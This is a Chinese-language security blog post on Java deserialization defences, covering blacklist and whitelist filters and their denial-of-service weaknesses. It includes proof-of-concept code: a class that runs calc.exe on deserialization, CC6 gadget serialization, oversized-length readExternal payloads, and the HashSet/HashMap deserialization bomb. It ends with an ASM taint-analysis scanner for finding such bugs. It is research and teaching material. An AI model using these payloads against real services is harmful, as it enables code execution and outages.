反序列化漏洞的防御與拒絕服務
最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE(還有一些報告也許正在審核和修復中)但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向
早上和pyn3rd師傅聊天,希望寫一篇DoS漏洞的分享,于是寫了這篇水文,算是拒絕服務漏洞的完結篇
基礎篇
編寫一個惡意的類
public class EvilObj implements Serializable {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException ignored) {
}
}
}
編寫一個普通的反序列化漏洞代碼,執行后會彈出計算器
public static void main(String[] args)throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new EvilObj());
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
以上的惡意類其實沒有意義,因為目標系統中不會存在這樣的惡意類,只有目標程序中存在該類才可以
于是大家開始挖掘gadget以構造惡意類用來執行代碼或命令
當我將gadget替換為CC6鏈后,只要目標系統包含了Commons Collections依賴則可以RCE
oos.writeObject(CC6Gadget.get());
黑名單修復
假設作為開發者,這時候的修復手法有兩種
- 關閉反序列化功能
- 由于業務原因不能關閉反序列化漏洞
于是很多項目采用了黑名單的方式進行修復
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (desc.getName().contains("org.apache.commons.collections")) {
return null;
}
return super.resolveClass(desc);
}
}
這時候修改我們的漏洞代碼
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(CC6Gadget.get()); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); SafeObjectInputStream ois = new SafeObjectInputStream(bais); ois.readObject();
運行后報錯:說明成功防御了Commons Collections的反序列化漏洞
Exception in thread "main" java.lang.ClassNotFoundException: null class
類似的黑名單參考:Apache OFBIZ
commit: https://github.com/apache/ofbiz-framework/commit/af9ed4e/
if (className.contains("java.rmi.server")) {
return null;
}
白名單修復
在安全中,黑名單永遠都是不安全的,因為總會有新的姿勢和新的繞過,因此我們采用了白名單的方式進行修復
- 允許來自于
java.lang和java.util的對象 - 允許來自于本地某個特定的類
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 允許一些常用的JDK類
if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
// 允許一些業務需要的本地類
desc.getName().equals("com.example.MyObject")) {
return super.resolveClass(desc);
} else {
return null;
}
}
}
參考Spring-AMQP曾經防御反序列化漏洞的方式:添加類似的白名單
參考commit: https://github.com/spring-projects/spring-amqp/commit/36e5599/
static {
SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
}
readObject
當我們使用了這樣白名單后,確實不存在RCE漏洞
但實際上存在拒絕服務漏洞的可能性
首先從本地白名單對象入手
public class MyObject implements Serializable {
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
int len = s.readInt();
// array init
byte[] data = new byte[len];
// for condition
for (int i = 0; i < len; i++) {
// ...
}
// ...
}
}
假設本地白名單類的readObject方法中包含了類似以上的代碼,構造出以下這樣的Payload即可DoS
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(new MyObject()); oos.flush(); oos.writeInt(1024*1024*1024); oos.flush();
readExternal
Serializable序列化時不會調用默認的構造器而Externalizable序列化時會調用默認構造器
有時我們不希望序列化那么多,可以使用Externalizable接口
其中writeExternal和readExternal方法可以指定序列化哪些屬性
假設某個白名單類包含了類似下方的代碼,則存在拒絕服務漏洞
public class MyObject implements Externalizable {
public int a;
// 必須存在空參構造
public MyObject() {
}
public MyObject(int a) {
this.a = a;
}
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeInt(a);
// ...
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
int length = in.readInt();
// array init
byte[] data = new byte[length];
// for condition
for (int i = 0; i < length; i++) {
// ...
}
// ...
}
}
構造惡意對象Payload觸發
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new MyObject(1024 * 1024 * 1024));
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
SafeObjectInputStream ois = new SafeObjectInputStream(bais);
ois.readObject();
}
反序列化炸彈
最壞的情況:如果白名單本地對象都是安全的,沒有拒絕服務的可能性,還有辦法嗎
可以使用JDK中的反序列化炸彈實現拒絕服務漏洞
出自Effective Java的原版反序列化炸彈(原代碼鏈接)
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for(int i=0;i<100;i++){
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo");
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1=t1;
s2=t2;
}
使用HahsMap和也可以做到類似的效果
// Map & HashMap
Map<Object, Object> root = new HashMap<>();
Map<Object, Object> s1 = root;
Map<Object, Object> s2 = new HashMap<>();
for (int i = 0; i < 50; i++) {
HashMap<Object, Object> t1 = new HashMap<>();
HashMap<Object, Object> t2 = new HashMap<>();
t1.put("foo", "bar");
s1.put(t1, t1);
s1.put(t2, t2);
s2.put(t1, t1);
s2.put(t2, t2);
s1 = t1;
s2 = t2;
}
反序列化炸彈會得到類似的數據結構,是一個100層深的圖(Graph)結構

由于本文重點不在于反序列化炸彈,所以原理不再對原理進行分析,有興趣可以搜索得到一些結果
關于反序列化炸彈的修復:JEP290
提交給Apache OFBIZ后認為這只是潛在的漏洞,不能直接觸發,修復后給予致謝但無CVE

漏洞挖掘思路
有了以上的內容,對于如何挖掘這樣的漏洞,應該有一些思路了
- 某框架曾經出現過反序列化漏洞
- 某框架如果采用了黑白名單的方案修復(某logic等)
- 確定白名單中是否包含了
java.util等類,如果包含則存在反序列化炸彈(某logic的CVE-2022-21441) - 掃描所有白名單中的類,是否包含
readObject方法,審計其中是否有類似上文的代碼 - 類似上一條,掃描白名單類
readExternal方法(某logic的CVE-2021-2344和CVE-2021-2371等等)
如何掃描
掃描主要是如何確認readExternal方法里存在數據初始化
例如掃某logic這樣非開源的項目,難免要用到字節碼相關的技術
大概的掃描邏輯如下
- 自動批量解壓
JAR包 - 掃描所有的
class文件(測試了上百萬個) - 目標是所有類的所有方法
- 如果方法中的字節碼匹配到某種規則,且方法名是
readObject或readExternal則說明成功
這里提到的某種規則,在之前一篇文章中有詳細說明
跟著三夢學Java安全:半自動挖洞(https://xz.aliyun.com/t/10925)
這兩種數組初始化的字節碼是不同的
int size = 10; byte[] a = new byte[size]; Object[] o = new Object[size];
對應字節碼如下,可以看到分別使用NEWARRAY和ANEWARRAY指令
BIPUSH 10 ISTORE 1 ... ILOAD 1 NEWARRAY T_BYTE ... ILOAD 1 ANEWARRAY java/lang/Object
在分析時需要注意
- 在
visitCode方法中對每個參數設置污染 - 在
visitMethodInsn方法中處理污染的傳遞
在分析進入方法時,首先調用到visitCode方法,在這里手動給參數上污點
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
if ((this.access & Opcodes.ACC_STATIC) == 0) {
localVariables.set(localIndex, "source");
localIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
localVariables.set(localIndex, "source");
localIndex += argType.getSize();
}
}
處理污點的傳遞(如果a是污染那么b=a.func()中的b也將是污染)
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
Type[] extendedArgTypes = new Type[argTypes.length + 1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
for (int i = 0; i < argTypes.length; i++) {
if (operandStack.get(i).contains("source")) {
Type returnType = Type.getReturnType(desc);
if (returnType.getSort() != Type.VOID) {
super.visitMethodInsn(opcode, owner, name, desc, itf);
operandStack.set(0, "source");
return;
}
}
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
上面這一串代碼的作用是能夠處理這樣的情況
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
// in參數是污點
// 可以傳遞到length參數
int length = in.readInt();
// 這里遇到NEWARRAY指令
// 如果length是污點則說明匹配到
byte[] data = new byte[length];
}
最終在NEWARRAY指令的操作數中判斷污點(ANEWARRAY指令類似)
@Override
public void visitIntInsn(int opcode, int operand) {
if (opcode == Opcodes.NEWARRAY) {
if (operandStack.get(0).contains("source")) {
if (this.name.equals("readExternal") || this.name.equals("readObject")) {
// 發現漏洞,進行記錄
}
}
}
super.visitIntInsn(opcode, operand);
}